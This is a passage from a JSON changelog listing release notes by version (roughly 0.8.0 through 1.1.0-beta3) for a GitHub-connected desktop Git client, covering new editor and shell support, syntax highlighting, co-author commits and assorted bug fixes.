core.autocrlf is unset - #3514", "[Fixed] Prevent duplicate entries in co-author autocomplete list - #3887", "[Fixed] Renames not detected when viewing commit diffs - #3673", "[Fixed] Support legacy usernames as co-authors - #3897", "[Improved] Update branch button text from \"New\" to \"New Branch\" - #4032", "[Improved] Add fuzzy search in the repository, branch, PR, and clone FilterLists - #911. Thanks @j-f1!", "[Improved] Tidy up commit summary and description layout in commit list - #3922. Thanks @willnode!", "[Improved] Use smaller default size when rendering Gravatar avatars - #3911", "[Improved] Show fetch progress when initializing remote for fork - #3953", "[Improved] Remove references to Hubot from the user setup page - #4015. Thanks @j-f1!", "[Improved] Error handling around ENOENT - #3954", "[Improved] Clear repository filter text when switching tabs - #3787. Thanks @reyronald!", "[Improved] Allow window to accept single click on focus - #3843", "[Improved] Disable drag-and-drop interaction when a popup is in the foreground - #3996" ], "1.1.0-beta3": [ "[Fixed] Fetch default remote if it differs from the current - #4056" ], "1.1.0-beta2": [ "[Improved] Update embedded Git to improve error handling when using stdin - #4058" ], "1.1.0-beta1": [ "[Improved] Add 'Branch' to 'New' branch button - #4032", "[Improved] Remove references to Hubot from the user setup page - #4015. Thanks @j-f1!" ], "1.0.14-beta5": [ "[Fixed] Improve detection of pull requests associated with current branch - #3991", "[Fixed] Disable drag-and-drop interaction when a popup is in the foreground - #3996", "[Fixed] Branch blank slate image out of position - #4011" ], "1.0.14-beta4": [ "[New] Syntax highlighting for Elixir files - #3774. Thanks @joaovitoras!", "[Fixed] Crash when unable to launch shell - #3954", "[Fixed] Support legacy usernames as co-authors - #3897", "[Improved] Enable fuzzy search in the repository, branch, PR, and clone FilterLists - #911. Thanks @j-f1!", "[Improved] Tidy up commit summary and description layout in commit list - #3922. Thanks @willnode!" ], "1.0.14-test1": ["[Improved] Electron 1.8.2 upgrade"], "1.0.14-beta3": [ "[Added] Add TextMate support for macOS - #3910. Thanks @caiofbpa!", "[Fixed] Handle Git errors when .gitmodules are malformed - #3912", "[Fixed] Clear repository filter when switching tabs - #3787. Thanks @reyronald!", "[Fixed] Prevent duplicate entries in co-author autocomplete list - #3887", "[Improved] Show progress when initializing remote for fork - #3953" ], "1.0.14-beta2": [ "[Added] Add RubyMine support for macOS - #3883. Thanks @gssbzn!", "[Fixed] Allow window to accept single click on focus - #3843", "[Fixed] Expanded avatar list hidden behind commit details - #3884", "[Fixed] Renames not detected when viewing commit diffs - #3673", "[Fixed] Ignore action assumes CRLF when core.autocrlf is unset - #3514", "[Improved] Use smaller default size when rendering Gravatar avatars - #3911" ], "1.0.14-beta1": ["[New] Commit together with co-authors - #3879"], "1.0.13": [ "[New] Commit together with co-authors - #3879", "[New] PhpStorm is now a supported external editor on macOS - #3749. Thanks @hubgit!", "[Improved] Update embedded Git to 2.16.1 - #3617 #3828 #3871", "[Improved] Blank slate view is now more responsive when zoomed - #3777", "[Improved] Documentation fix for Open in Shell resource - #3799. Thanks @saschanaz!", "[Improved] Improved error handling for Linux - #3732", "[Improved] Allow links in unexpanded summary to be clickable - #3719. Thanks @koenpunt!", "[Fixed] Update Electron to 1.7.11 to address security issue - #3846", "[Fixed] Allow double dashes in branch name - #3599. Thanks @JQuinnie!", "[Fixed] Sort the organization list - #3657. Thanks @j-f1!", "[Fixed] Check out PRs from a fork - #3395", "[Fixed] Confirm deleting branch when it has an open PR - #3615", "[Fixed] Defer user/email validation in Preferences - #3722", "[Fixed] Checkout progress did not include branch name - #3780", "[Fixed] Don't block branch switching when in detached HEAD - #3807", "[Fixed] Handle discarding submodule changes properly - #3647", "[Fixed] Show tooltip with additional info about the build status - #3134", "[Fixed] Update placeholders to support Linux distributions - #3150", "[Fixed] Refresh local commit list when switching tabs - #3698" ], "1.0.13-test1": [ "[Improved] Update embedded Git to 2.16.1 - #3617 #3828 #3871", "[Fixed] Update Electron to 1.7.11 to address security issue - #3846", "[Fixed] Allows double dashes in branch name - #3599. Thanks @JQuinnie!", "[Fixed] Pull Request store may not have status defined - #3869", "[Fixed] Render the Pull Request badge when no commit statuses found - #3608" ], "1.0.13-beta1": [ "[New] PhpStorm is now a supported external editor on macOS - #3749. Thanks @hubgit!", "[Improved] Blank slate view is now more responsive when zoomed - #3777", "[Improved] Documentation fix for Open in Shell resource - #3799. Thanks @saschanaz!", "[Improved] Improved error handling for Linux - #3732", "[Improved] Allow links in unexpanded summary to be clickable - #3719. Thanks @koenpunt!", "[Fixed] Sort the organization list - #3657. Thanks @j-f1!", "[Fixed] Check out PRs from a fork - #3395", "[Fixed] Confirm deleting branch when it has an open PR - #3615", "[Fixed] Defer user/email validation in Preferences - #3722", "[Fixed] Checkout progress did not include branch name - #3780", "[Fixed] Don't block branch switching when in detached HEAD - #3807", "[Fixed] Handle discarding submodule changes properly - #3647", "[Fixed] Show tooltip with additional info about the build status - #3134", "[Fixed] Update placeholders to support Linux distributions - #3150", "[Fixed] Refresh local commit list when switching tabs - #3698" ], "1.0.12": [ "[New] Syntax highlighting for Rust files - #3666. Thanks @subnomo!", "[New] Syntax highlighting for Clojure cljc, cljs, and edn files - #3610. Thanks @mtkp!", "[Improved] Prevent creating a branch in the middle of a merge - #3733", "[Improved] Truncate long repo names in panes and modals to fit into a single line - #3598. Thanks @http-request!", "[Improved] Keyboard navigation support in pull request list - #3607", "[Fixed] Inconsistent caret behavior in text boxes when using certain keyboard layouts - #3354", "[Fixed] Only render the organizations list when it has orgs - #1414", "[Fixed] Checkout now handles situations where a ref exists on multiple remotes - #3281", "[Fixed] Retain accounts on desktop when losing connectivity - #3641", "[Fixed] Missing argument in FullScreenInfo that could prevent app from launching - #3727. Thanks @OiYouYeahYou!" ], "1.0.12-beta1": [ "[New] Syntax highlighting for Rust files - #3666. Thanks @subnomo!", "[New] Syntax highlighting for Clojure cljc, cljs, and edn files - #3610. Thanks @mtkp!", "[Improved] Prevent creating a branch in the middle of a merge - #3733", "[Improved] Truncate long repo names in panes and modals to fit into a single line - #3598. Thanks @http-request!", "[Improved] Keyboard navigation support in pull request list - #3607", "[Fixed] Inconsistent caret behavior in text boxes when using certain keyboard layouts - #3354", "[Fixed] Only render the organizations list when it has orgs - #1414", "[Fixed] Checkout now handles situations where a ref exists on multiple remotes - #3281", "[Fixed] Retain accounts on desktop when losing connectivity - #3641", "[Fixed] Missing argument in FullScreenInfo that could prevent app from launching - #3727. Thanks @OiYouYeahYou!" ], "1.0.12-beta0": [ "[New] Highlight substring matches in the \"Branches\" and \"Repositories\" list when filtering - #910. Thanks @JordanMussi!", "[New] Add preview for ico files - #3531. Thanks @serhiivinichuk!", "[New] Fallback to Gravatar for loading avatars - #821", "[New] Provide syntax highlighting for Visual Studio project files - #3552. Thanks @saul!", "[New] Provide syntax highlighting for F# fsx and fsi files - #3544. Thanks @saul!", "[New] Provide syntax highlighting for Kotlin files - #3555. Thanks @ziggy42!", "[New] Provide syntax highlighting for Clojure - #3523. Thanks @mtkp!", "[Improved] Toggle the \"Repository List\" from the menu - #2638. Thanks @JordanMussi!", "[Improved] Prevent saving of disallowed character strings for your name and email - #3204", "[Improved] Error messages now appear at the top of the \"Create a New Repository\" dialog - #3571. Thanks @http-request!", "[Improved] \"Repository List\" header is now \"Github.com\" for consistency - #3567. Thanks @iFun!", "[Improved] Rename the \"Install Update\" button to \"Quit and Install Update\" - #3494. Thanks @say25!", "[Fixed] Fix ordering of commit history when your branch and tracking branch have both changed - #2737", "[Fixed] Prevent creating a branch that starts with a period - #3013. Thanks @JordanMussi!", "[Fixed] Branch names are properly encoded when creating a pull request - #3509", "[Fixed] Re-enable all the menu items after closing a popup - #3533", "[Fixed] Removes option to delete remote branch after it's been deleted - #2964. Thanks @JordanMussi!", "[Fixed] Windows: Detects available editors and shells now works even when the group policy blocks write registry access - #3105 #3405", "[Fixed] Windows: Menu items are no longer truncated - #3547", "[Fixed] Windows: Prevent disabled menu items from being accessed - #3391 #1521", "[Fixed] Preserve the selected pull request when a manual fetch is done - #3524", "[Fixed] Update pull request badge after switching branches or pull requests - #3454", "[Fixed] Restore keyboard arrow navigation for pull request list - #3499" ], "1.0.11": [ "[New] Highlight substring matches in the \"Branches\" and \"Repositories\" list when filtering - #910. Thanks @JordanMussi!", "[New] Add preview for ico files - #3531. Thanks @serhiivinichuk!", "[New] Fallback to Gravatar for loading avatars - #821", "[New] Provide syntax highlighting for Visual Studio project files - #3552. Thanks @saul!", "[New] Provide syntax highlighting for F# fsx and fsi files - #3544. Thanks @saul!", "[New] Provide syntax highlighting for Kotlin files - #3555. Thanks @ziggy42!", "[New] Provide syntax highlighting for Clojure - #3523. Thanks @mtkp!", "[Improved] Toggle the \"Repository List\" from the menu - #2638. Thanks @JordanMussi!", "[Improved] Prevent saving of disallowed character strings for your name and email - #3204", "[Improved] Error messages now appear at the top of the \"Create a New Repository\" dialog - #3571. Thanks @http-request!", "[Improved] \"Repository List\" header is now \"Github.com\" for consistency - #3567. Thanks @iFun!", "[Improved] Rename the \"Install Update\" button to \"Quit and Install Update\" - #3494. Thanks @say25!", "[Fixed] Fix ordering of commit history when your branch and tracking branch have both changed - #2737", "[Fixed] Prevent creating a branch that starts with a period - #3013. Thanks @JordanMussi!", "[Fixed] Branch names are properly encoded when creating a pull request - #3509", "[Fixed] Re-enable all the menu items after closing a popup - #3533", "[Fixed] Removes option to delete remote branch after it's been deleted - #2964. Thanks @JordanMussi!", "[Fixed] Windows: Detects available editors and shells now works even when the group policy blocks write registry access - #3105 #3405", "[Fixed] Windows: Menu items are no longer truncated - #3547", "[Fixed] Windows: Prevent disabled menu items from being accessed - #3391 #1521" ], "1.0.11-test0": [ "[Improved] now with a new major version of electron-packager" ], "1.0.11-beta0": [ "[Improved] Refresh the pull requests list after fetching - #3503", "[Improved] Rename the \"Install Update\" button to \"Quit and Install Update\" - #3494. Thanks @say25!", "[Fixed] URL encode branch names when creating a pull request - #3509", "[Fixed] Windows: detecting available editors and shells now works even when the group policy blocks write registry access - #3105 #3405" ], "1.0.10": [ "[New] ColdFusion Builder is now a supported external editor - #3336 #3321. Thanks @AtomicCons!", "[New] VSCode Insiders build is now a supported external editor - #3441. Thanks @say25!", "[New] BBEdit is now a supported external editor - #3467. Thanks @NiklasBr!", "[New] Hyper is now a supported shell on Windows too - #3455. Thanks @JordanMussi!", "[New] Swift is now syntax highlighted - #3305. Thanks @agisilaos!", "[New] Vue.js is now syntax highlighted - #3368. Thanks @wanecek!", "[New] CoffeeScript is now syntax highlighted - #3356. Thanks @agisilaos!", "[New] Cypher is now syntax highlighted - #3440. Thanks @say25!", "[New] .hpp is now syntax highlighted as C++ - #3420. Thanks @say25!", "[New] ML-like languages are now syntax highlighted - #3401. Thanks @say25!", "[New] Objective-C is now syntax highlighted - #3355. Thanks @koenpunt!", "[New] SQL is now syntax highlighted - #3389. Thanks @say25!", "[Improved] Better message on the 'Publish Branch' button when HEAD is unborn - #3344. Thanks @Venkat5694!", "[Improved] Better error message when trying to push to an archived repository - #3084. Thanks @agisilaos!", "[Improved] Avoid excessive background fetching when switching repositories - #3329", "[Improved] Ignore menu events sent when a modal is shown - #3308", "[Fixed] Parse changed files whose paths include a newline - #3271", "[Fixed] Parse file type changes - #3334", "[Fixed] Windows: 'Open without Git' would present the dialog again instead of actually opening a shell without git - #3290", "[Fixed] Avoid text selection when dragging resizable dividers - #3268", "[Fixed] Windows: Removed the title attribute on the Windows buttons so that they no longer leave their tooltips hanging around - #3348. Thanks @j-f1!", "[Fixed] Windows: Detect VS Code when installed to non-standard locations - #3304", "[Fixed] Hitting Return would select the first item in a filter list when the filter text was empty - #3447", "[Fixed] Add some missing keyboard shortcuts - #3327. Thanks @say25!", "[Fixed] Handle \"304 Not Modified\" responses - #3399", "[Fixed] Don't overwrite an existing .gitattributes when creating a new repository - #3419. Thanks @strafe!" ], "1.0.10-beta3": [ "[New] Change \"Create Pull Request\" to \"Show Pull Request\" when there is already a pull request open for the branch - #2524", "[New] VSCode Insiders build is now a supported external editor - #3441. Thanks @say25!", "[New] BBEdit is now a supported external editor - #3467. Thanks @NiklasBr!", "[New] Hyper is now a supported shell - #3455. Thanks @JordanMussi!", "[New] Cypher is now syntax highlighted - #3440. Thanks @say25!", "[New] .hpp is now syntax highlighted as C++ - #3420. Thanks @say25!", "[New] ML-like languages are now syntax highlighted - #3401. Thanks @say25!", "[Improved] Use the same colors in pull request dropdown as we use on GitHub.com - #3451", "[Improved] Fancy pull request loading animations - #2868", "[Improved] Avoid excessive background fetching when switching repositories - #3329", "[Improved] Refresh the pull request list when the Push/Pull/Fetch button is clicked - #3448", "[Improved] Ignore menu events sent when a modal is shown - #3308", "[Fixed] Hitting Return would select the first item in a filter list when the filter text was empty - #3447", "[Fixed] Add some missing keyboard shortcuts - #3327. Thanks @say25!", "[Fixed] Handle \"304 Not Modified\" responses - #3399", "[Fixed] Don't overwrite an existing .gitattributes when creating a new repository - #3419. Thanks @strafe!" ], "1.0.10-beta2": [ "[New] SQL is now syntax highlighted! - #3389. Thanks @say25!", "[Fixed] Windows: Detect VS Code when installed to non-standard locations - #3304" ], "1.0.10-beta1": [ "[New] Vue.js code is now syntax highlighted! - #3368. Thanks @wanecek!", "[New] CoffeeScript is now syntax highlighted! - #3356. Thanks @agisilaos!", "[New] Highlight .m as Objective-C - #3355. Thanks @koenpunt!", "[Improved] Use smarter middle truncation for branch names - #3357", "[Fixed] Windows: Removed the title attribute on the Windows buttons so that they no longer leave their tooltips hanging around - #3348. Thanks @j-f1!" ], "1.0.10-beta0": [ "[New] ColdFusion Builder is now available as an option for External Editor - #3336 #3321. Thanks @AtomicCons!", "[New] Swift code is now syntax highlighted - #3305. Thanks @agisilaos!", "[Improved] Better message on the 'Publish Branch' button when HEAD is unborn - #3344. Thanks @Venkat5694!", "[Improved] Better error message when trying to push to an archived repository - #3084. Thanks @agisilaos!", "[Fixed] Parse changed files whose paths include a newline - #3271", "[Fixed] Parse file type changes - #3334", "[Fixed] Windows: 'Open without Git' would present the dialog again instead of actually opening a shell without git - #3290", "[Fixed] Avoid text selection when dragging resizable dividers - #3268" ], "1.0.9": [ "[New] ColdFusion Builder is now available as an option for External Editor - #3336 #3321. Thanks @AtomicCons!", "[New] Swift code is now syntax highlighted - #3305. Thanks @agisilaos!", "[Improved] Better message on the 'Publish Branch' button when HEAD is unborn - #3344. Thanks @Venkat5694!", "[Improved] Better error message when trying to push to an archived repository - #3084. Thanks @agisilaos!", "[Fixed] Parse changed files whose paths include a newline - #3271", "[Fixed] Parse file type changes - #3334", "[Fixed] Windows: 'Open without Git' would present the dialog again instead of actually opening a shell without git - #3290", "[Fixed] Avoid text selection when dragging resizable dividers - #3268" ], "1.0.9-beta1": [ "[New] ColdFusion Builder is now available as an option for External Editor - #3336 #3321. Thanks @AtomicCons!", "[New] Swift code is now syntax highlighted - #3305. Thanks @agisilaos!", "[Improved] Better message on the 'Publish Branch' button when HEAD is unborn - #3344. Thanks @Venkat5694!", "[Improved] Better error message when trying to push to an archived repository - #3084. Thanks @agisilaos!", "[Fixed] Parse changed files whose paths include a newline - #3271", "[Fixed] Parse file type changes - #3334", "[Fixed] Windows: 'Open without Git' would present the dialog again instead of actually opening a shell without git - #3290", "[Fixed] Avoid text selection when dragging resizable dividers - #3268" ], "1.0.9-beta0": [ "[Fixed] Crash when rendering diffs for certain types of files - #3249", "[Fixed] Continually being prompted to add the upstream remote, even when it already exists - #3252" ], "1.0.8": [ "[Fixed] Crash when rendering diffs for certain types of files - #3249", "[Fixed] Continually being prompted to add the upstream remote, even when it already exists - #3252" ], "1.0.8-beta0": [ "[New] Syntax highlighted diffs - #3101", "[New] Add upstream to forked repositories - #2364", "[Fixed] Only reset scale of title bar on macOS - #3193", "[Fixed] Filter symbolic refs in the branch list - #3196", "[Fixed] Address path issue with invoking Git Bash - #3186", "[Fixed] Update embedded Git to support repository hooks and better error messages - #3067 #3079", "[Fixed] Provide credentials to LFS repositories when performing checkout - #3167", "[Fixed] Assorted changelog typos - #3174 #3184 #3207. Thanks @strafe, @alanaasmaa and @jt2k!" ], "1.0.7": [ "[New] Syntax highlighted diffs - #3101", "[New] Add upstream to forked repositories - #2364", "[Fixed] Only reset scale of title bar on macOS - #3193", "[Fixed] Filter symbolic refs in the branch list - #3196", "[Fixed] Address path issue with invoking Git Bash - #3186", "[Fixed] Update embedded Git to support repository hooks and better error messages - #3067 #3079", "[Fixed] Provide credentials to LFS repositories when performing checkout - #3167", "[Fixed] Assorted changelog typos - #3174 #3184 #3207. Thanks @strafe, @alanaasmaa and @jt2k!" ], "1.0.7-beta0": [ "[Fixed] The Branches list wouldn't display the branches for non-GitHub repositories - #3169", "[Fixed] Pushing or pulling could error when the temp directory was unavailable - #3046" ], "1.0.6": [ "[Fixed] The Branches list wouldn't display the branches for non-GitHub repositories - #3169", "[Fixed] Pushing or pulling could error when the temp directory was unavailable - #3046" ], "1.0.5": [ "[New] The command line interface now provides some helpful help! - #2372. Thanks @j-f1!", "[New] Create new branches from the Branches foldout - #2784", "[New] Add support for VSCode Insiders - #3012 #3062. Thanks @MSathieu!", "[New] Linux: Add Atom and Sublime Text support - #3133. Thanks @ziggy42!", "[New] Linux: Tilix support - #3117. Thanks @ziggy42!", "[New] Linux: Add Visual Studio Code support - #3122. Thanks @ziggy42!", "[Improved] Report errors when a problem occurs storing tokens - #3159", "[Improved] Bump to Git 2.14.3 - #3146", "[Improved] Don't try to display diffs that could cause the app to hang - #2596", "[Fixed] Handle local user accounts with URL-hostile characters - #3107", "[Fixed] Cloning a repository which uses Git LFS would leave all the files appearing modified - #3146", "[Fixed] Signing in in the Welcome flow could hang - #2769", "[Fixed] Properly replace old Git LFS configuration values - #2984" ], "1.0.5-beta1": [ "[New] Create new branches from the Branches foldout - #2784", "[New] Add support for VSCode Insiders - #3012 #3062. Thanks @MSathieu!", "[New] Linux: Add Atom and Sublime Text support - #3133. Thanks @ziggy42!", "[New] Linux: Tilix support - #3117. Thanks @ziggy42!", "[New] Linux: Add Visual Studio Code support - #3122. Thanks @ziggy42!", "[Improved] Report errors when a problem occurs storing tokens - #3159", "[Improved] Bump to Git 2.14.3 - #3146", "[Improved] Don't try to display diffs that could cause the app to hang - #2596", "[Fixed] Handle local user accounts with URL-hostile characters - #3107", "[Fixed] Cloning a repository which uses Git LFS would leave all the files appearing modified - #3146", "[Fixed] Signing in in the Welcome flow could hang - #2769", "[Fixed] Properly replace old Git LFS configuration values - #2984" ], "1.0.5-test1": [], "1.0.5-test0": [], "1.0.5-beta0": [ "[New] The command line interface now provides some helpful help! - #2372. Thanks @j-f1!" ], "1.0.4": [ "[New] Report Git LFS progress when cloning, pushing, pulling, or reverting - #2226", "[Improved] Increased diff contrast and and line gutter selection - #2586 #2181", "[Improved] Clarify why publishing a branch is disabled in various scenarios - #2773", "[Improved] Improved error message when installing the command Line tool fails - #2979. Thanks @agisilaos!", "[Improved] Format the branch name in \"Create Branch\" like we format branch names elsewhere - #2977. Thanks @j-f1!", "[Fixed] Avatars not updating after signing in - #2911", "[Fixed] Lots of bugs if there was a file named \"HEAD\" in the repository - #3009 #2721 #2938", "[Fixed] Handle duplicate config values when saving user.name and user.email - #2945", "[Fixed] The \"Create without pushing\" button when creating a new pull request wouldn't actually do anything - #2917" ], "1.0.4-beta1": [ "[New] Report Git LFS progress when cloning, pushing, pulling, or reverting - #2226", "[Improved] Increased diff contrast and and line gutter selection - #2586 #2181", "[Improved] Clarify why publishing a branch is disabled in various scenarios - #2773", "[Improved] Improved error message when installing the command Line tool fails - #2979. Thanks @agisilaos!", "[Improved] Format the branch name in \"Create Branch\" like we format branch names elsewhere - #2977. Thanks @j-f1!", "[Fixed] Avatars not updating after signing in - #2911", "[Fixed] Lots of bugs if there was a file named \"HEAD\" in the repository - #3009 #2721 #2938", "[Fixed] Handle duplicate config values when saving user.name and user.email - #2945", "[Fixed] The \"Create without pushing\" button when creating a new pull request wouldn't actually do anything - #2917 #2917" ], "1.0.4-beta0": [ "[Improved] Increase the contrast of the modified file status octicons - #2914", "[Fixed] Showing changed files in Finder/Explorer would open the file - #2909", "[Fixed] macOS: Fix app icon on High Sierra - #2915", "[Fixed] Cloning an empty repository would fail - #2897 #2906", "[Fixed] Catch logging exceptions - #2910" ], "1.0.3": [ "[Improved] Increase the contrast of the modified file status octicons - #2914", "[Fixed] Showing changed files in Finder/Explorer would open the file - #2909", "[Fixed] macOS: Fix app icon on High Sierra - #2915", "[Fixed] Cloning an empty repository would fail - #2897 #2906", "[Fixed] Catch logging exceptions - #2910" ], "1.0.2": [ "[Improved] Better message for GitHub Enterprise users when there is a network error - #2574. Thanks @agisilaos!", "[Improved] Clone error message now suggests networking might be involved - #2872. Thanks @agisilaos!", "[Improved] Include push/pull progress information in the push/pull button tooltip - #2879", "[Improved] Allow publishing a brand new, empty repository - #2773", "[Improved] Make file paths in lists selectable - #2801. Thanks @artivilla!", "[Fixed] Disable LFS hook creation when cloning - #2809", "[Fixed] Use the new URL for the \"Show User Guides\" menu item - #2792. Thanks @db6edr!", "[Fixed] Make the SHA selectable when viewing commit details - #1154", "[Fixed] Windows: Make `github` CLI work in Git Bash - #2712", "[Fixed] Use the initial path provided when creating a new repository - #2883", "[Fixed] Windows: Avoid long path limits when discarding changes - #2833", "[Fixed] Files would get deleted when undoing the first commit - #2764", "[Fixed] Find the repository root before adding it - #2832", "[Fixed] Display warning about an existing folder before cloning - #2777 #2830", "[Fixed] Show contents of directory when showing a repository from Show in Explorer/Finder instead of showing the parent - #2798" ], "1.0.2-beta1": [ "[Improved] Clone error message now suggests networking might be involved - #2872. Thanks @agisilaos!", "[Improved] Include push/pull progress information in the push/pull button tooltip - #2879", "[Improved] Allow publishing a brand new, empty repository - #2773", "[Improved] Make file paths in lists selectable - #2801. Thanks @artivilla!", "[Fixed] Use the initial path provided when creating a new repository - #2883", "[Fixed] Windows: Avoid long path limits when discarding changes - #2833", "[Fixed] Files would get deleted when undoing the first commit - #2764", "[Fixed] Find the repository root before adding it - #2832", "[Fixed] Display warning about an existing folder before cloning - #2777 #2830", "[Fixed] Show contents of directory when showing a repository from Show in Explorer/Finder instead of showing the parent - #2798" ], "1.0.2-beta0": [ "[Improved] Message for GitHub Enterprise users when there is a network error - #2574. Thanks @agisilaos!", "[Fixed] Disable LFS hook creation when cloning - #2809", "[Fixed] Use the new URL for the \"Show User Guides\" menu item - #2792. Thanks @db6edr!", "[Fixed] Make the SHA selectable when viewing commit details - #1154", "[Fixed] Windows: Make `github` CLI work in Git Bash - #2712" ], "1.0.1": [ "[Improved] Message for GitHub Enterprise users when there is a network error - #2574. Thanks @agisilaos!", "[Fixed] Disable LFS hook creation when cloning - #2809", "[Fixed] Use the new URL for the \"Show User Guides\" menu item - #2792. Thanks @db6edr!", "[Fixed] Make the SHA selectable when viewing commit details - #1154", "[Fixed] Windows: Make `github` CLI work in Git Bash - #2712" ], "1.0.1-beta0": [ "[Fixed] Use the loading/disabled state while publishing - #1995", "[Fixed] Lock down menu item states for unborn repositories - #2744 #2573", "[Fixed] Windows: Detecting the available shells and editors when using a language other than English - #2735" ], "1.0.0": [ "[Fixed] Use the loading/disabled state while publishing - #1995", "[Fixed] Lock down menu item states for unborn repositories - #2744 #2573", "[Fixed] Windows: Detecting the available shells and editors when using a language other than English - #2735" ], "1.0.0-beta3": [ "[New] Allow users to create repositories with descriptions - #2719. Thanks @davidcelis!", "[New] Use `lfs clone` for faster cloning of LFS repositories - #2679", "[Improved] Prompt to override existing LFS filters - #2693", "[Fixed] Don't install LFS hooks when checking if a repo uses LFS - #2732", "[Fixed] Ensure nothing is staged as part of undoing the first commit - #2656", "[Fixed] \"Clone with Desktop\" wouldn't include the repository name in the path - #2704" ], "0.9.1": [ "[New] Allow users to create repositories with descriptions - #2719. Thanks @davidcelis!", "[New] Use `lfs clone` for faster cloning of LFS repositories - #2679", "[Improved] Prompt to override existing LFS filters - #2693", "[Fixed] Don't install LFS hooks when checking if a repo uses LFS - #2732", "[Fixed] Ensure nothing is staged as part of undoing the first commit - #2656", "[Fixed] \"Clone with Desktop\" wouldn't include the repository name in the path - #2704" ], "1.0.0-beta2": [ "[New] Allow users to create repositories with descriptions - #2719. Thanks @davidcelis!", "[New] Use `lfs clone` for faster cloning of LFS repositories - #2679", "[Improved] Prompt to override existing LFS filters - #2693", "[Fixed] Don't install LFS hooks when checking if a repo uses LFS - #2732", "[Fixed] Ensure nothing is staged as part of undoing the first commit - #2656", "[Fixed] \"Clone with Desktop\" wouldn't include the repository name in the path - #2704" ], "0.9.0": [ "[New] Allow users to create repositories with descriptions - #2719. Thanks @davidcelis!", "[New] Use `lfs clone` for faster cloning of LFS repositories - #2679", "[Improved] Prompt to override existing LFS filters - #2693", "[Fixed] Don't install LFS hooks when checking if a repo uses LFS - #2732", "[Fixed] Ensure nothing is staged as part of undoing the first commit - #2656", "[Fixed] \"Clone with Desktop\" wouldn't include the repository name in the path - #2704" ], "0.8.2": [ "[New] Ask to install LFS filters when an LFS repository is added - #2227", "[New] Clone GitHub repositories tab - #57", "[New] Option to opt-out of confirming discarding changes - #2681", "[Fixed] Long commit summary truncation - #1742", "[Fixed] Ensure the repository list is always enabled - #2648", "[Fixed] Windows: Detecting the available shells and editors when using a non-ASCII user encoding - #2624", "[Fixed] Clicking the \"Cancel\" button on the Publish Branch dialog - #2646", "[Fixed] Windows: Don't rely on PATH for knowing where to find chcp - #2678", "[Fixed] Relocating a repository now actually does that - #2685", "[Fixed] Clicking autocompletes inserts them - #2674", "[Fixed] Use shift for shortcut chord instead of alt - #2607", "[Fixed] macOS: \"Open in Terminal\" works with repositories with spaces in their path - #2682" ], "1.0.0-beta1": [ "[New] Option to to opt-out of confirming discarding changes - #2681", "[Fixed] Windows: Don't rely on PATH for knowing where to find chcp - #2678", "[Fixed] Relocating a repository now actually does that - #2685", "[Fixed] Clicking autocompletes inserts them - #2674", "[Fixed] Use shift for shortcut chord instead of alt - #2607", "[Fixed] macOS: \"Open in Terminal\" works with repositories with spaces in their path - #2682" ], "1.0.0-beta0": [ "[New] Ask to install LFS filters when an LFS repository is added - #2227", "[New] Clone GitHub repositories tab - #57", "[Fixed] Long commit summary truncation - #1742", "[Fixed] Ensure the repository list is always enabled - #2648", "[Fixed] Windows: Detecting the available shells and editors when using a non-ASCII user encoding - #2624", "[Fixed] Clicking the \"Cancel\" button on the Publish Branch dialog - #2646" ], "0.8.1": [ "[New] 'Open in Shell' now supports multiple shells - #2473", "[New] Windows: Enable adding self-signed certificates - #2581", "[Improved] Enhanced image diffs - #2383", "[Improved] Line diffs - #2461", "[Improved] Octicons updated - #2495", "[Improved] Adds ability to close repository list using shortcut - #2532", "[Improved] Switch default buttons in the Publish Branch dialog - #2515", "[Improved] Bring back \"Contact Support\" - #1472", "[Improved] Persist repository filter text after closing repository list - #2571", "[Improved] Redesigned example commit in the Welcome flow - #2141", "[Improved] Tidy up initial \"external editor\" experience - #2551", "[Fixed] 'Include All' checkbox not in sync with partial selection - #2493", "[Fixed] Copied text from diff removed valid characters - #2499", "[Fixed] Click-focus on Windows would dismiss dialog - #2488", "[Fixed] Branch list not rendered in app - #2531", "[Fixed] Git operations checking certificate store - #2520", "[Fixed] Properly identify repositories whose remotes have a trailing slash - #2584", "[Fixed] Windows: Fix launching the `github` command line tool - #2563", "[Fixed] Use the primary email address if it's public - #2244", "[Fixed] Local branch not checked out after clone - #2561", "[Fixed] Only the most recent 30 issues would autocomplete for GitHub Enterprise repositories - #2541", "[Fixed] Missing \"View on GitHub\" menu item for non-Gitub repositories - #2615", "[Fixed] New tab opened when pressing \"]\" for certain keyboard layouts - #2607", "[Fixed] Windows: Crash when exiting full screen - #1502", "[Fixed] Windows: Detecting the available shells and editors when using a non-ASCII user encoding - #2624", "[Fixed] Ensure the repository list is always accessible - #2648" ], "0.8.1-beta4": [ "[Improved] Persist repository filter text after closing repository list - #2571", "[Improved] Redesigned example commit in the Welcome flow - #2141", "[Improved] Tidy up initial \"external editor\" experience - #2551", "[Fixed] Missing \"View on GitHub\" menu item for non-Gitub repositories - #2615", "[Fixed] New tab opened when pressing \"]\" for certain keyboard layouts - #2607", "[Fixed] Windows: Crash when exiting full screen - #1502" ], "0.8.1-beta3": [ "[New] Windows: Enable adding self-signed certificates - #2581", "[Improved] Adds ability to close repository list using shortcut - #2532", "[Improved] Switch default buttons in the Publish Branch dialog - #2515", "[Improved] Bring back \"Contact Support\" - #1472", "[Fixed] Properly identify repositories whose remotes have a trailing slash - #2584", "[Fixed] Windows: Fix launching the `github` command line tool - #2563", "[Fixed] Use the primary email address if it's public - #2244", "[Fixed] Local branch not checked out after clone - #2561", "[Fixed] Only the most recent 30 issues would autocomplete for GitHub Enterprise repositories - #2541" ], "0.8.1-beta2": [ "[Fixed] Branch list not rendered in app - #2531", "[Fixed] Git operations checking certificate store - #2520" ], "0.8.1-beta1": [ "[New] 'Open in Shell' now supports multiple shells - #2473", "[Improved] Enhanced image diffs - #2383", "[Improved] Line diffs - #2461", "[Improved] Octicons updated - #2495", "[Fixed] 'Include All' checkbox not in sync with partial selection - #2493", "[Fixed] Copied text from diff removed valid characters - #2499", "[Fixed] Click-focus on Windows would dismiss dialog - #2488" ], "0.8.1-beta0": [], "0.8.0": [ "[New] Added commit context menu - #2434", "[New] Added 'Open in External Editor' - #2009", "[New] Can choose whether a branch should be deleted on the remote as well as locally - #2136", "[New] Support authenticating with non-GitHub servers - #852", "[New] Added the ability to revert a commit - #752", "[New] Added a keyboard shortcut for opening the repository in the shell - #2138", "[Improved] Copied diff text no longer includes the line changetype markers - #1499", "[Improved] Fetch if a push fails because they need to pull first - #2431", "[Improved] Discard changes performance - #1889", "[Fixed] Show 'Add Repository' dialog when repository is dragged onto the app - #2442", "[Fixed] Dialog component did not remove event handler - #2469", "[Fixed] Open in External Editor context menu - 